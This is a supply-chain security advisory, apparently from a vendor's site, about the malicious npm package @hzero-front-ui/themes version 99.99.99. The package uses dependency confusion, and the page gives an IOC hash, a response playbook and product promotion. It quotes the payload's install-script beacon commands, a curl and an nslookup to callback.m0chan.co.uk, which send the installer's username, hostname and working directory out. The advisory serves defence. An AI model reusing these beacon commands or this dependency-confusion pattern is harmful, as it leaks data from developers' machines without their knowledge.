Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@hzero-front-ui/themesnpm

@hzero-front-ui/themes is a confirmed malicious npm package (MAL-2026-13971) that opens a backdoor for remote access (malicious version 99.99.99). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @hzero-front-ui/themes (npm)

MAL-2026-13971
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @hzero-front-ui/themes

What this malware does

package.json defines preinstall and install lifecycle scripts that run automatically on npm install. The scripts collect the installer's whoami, hostname, pwd, and $npm_package_name, base64-encode them, and beacon them to subdomains of callback.m0chan.co.uk via both an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/<b64>) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The scoped name @hzero-front-ui/themes combined with version 99.99.99 is the classic dependency-confusion recon shape — a high version number published to public npm to override a private-registry package of the same name and phone home from any machine that resolves it.

Malicious versions

1 flagged
99.99.99

Indicators of compromise (SHA-256)

aac0df9dcfaeaf0958ef981d9c5cd9dd4ab1fe0de41bd20894c261dade6bb486

Detection & response playbook

Backdoor / remote access
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @hzero-front-ui/themes (version 99.99.99). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @hzero-front-ui/themes across your stack and pipelines.

  2. If you installed it — respond

    @hzero-front-ui/themes establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If @hzero-front-ui/themes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks @hzero-front-ui/themes before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @hzero-front-ui/themes on npm has been identified as a malicious package (version 99.99.99 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017672

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @hzero-front-ui/themes-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore